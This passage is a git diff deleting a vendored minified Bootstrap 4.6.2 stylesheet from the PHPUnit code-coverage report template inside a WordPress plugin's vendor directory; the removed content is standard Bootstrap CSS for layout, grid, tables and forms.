      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/bootstrap.min.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/bootstrap.min.css deleted file mode 100644 index 83a71b1f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/bootstrap.min.css +++ /dev/null @@ -1,7 +0,0 @@ -/*! - * Bootstrap v4.6.2 (https://getbootstrap.com/) - * Copyright 2011-2022 The Bootstrap Authors - * Copyright 2011-2022 Twitter, Inc. - * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) - */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus:not(:focus-visible){outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([class]){color:inherit;text-decoration:none}a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit;text-align:-webkit-match-parent}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:.875em;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"\2014\00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-sm-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-sm-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-sm-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-sm-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-sm-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-sm-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-md-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-md-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-md-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-md-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-md-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-md-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-lg-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-lg-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-lg-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-lg-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-lg-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-lg-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-xl-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-xl-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-xl-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-xl-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-xl-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-xl-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;margin-bottom:1rem;color:#212529}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{color:#212529;background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#7abaff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#b3b7bb}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#8fd19e}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#86cfda}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#ed969e}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfcfc}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#343a40;border-color:#454d55}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#343a40}.table-dark td,.table-dark th,.table-dark thead th{border-color:#454d55}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}input[type=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{-webkit-appearance:none;-moz-appearance:none;appearance:none}select.form-control:-moz-focusring{color:transparent;text-shadow:0 0 0 #495057}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;font-size:1rem;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.5rem 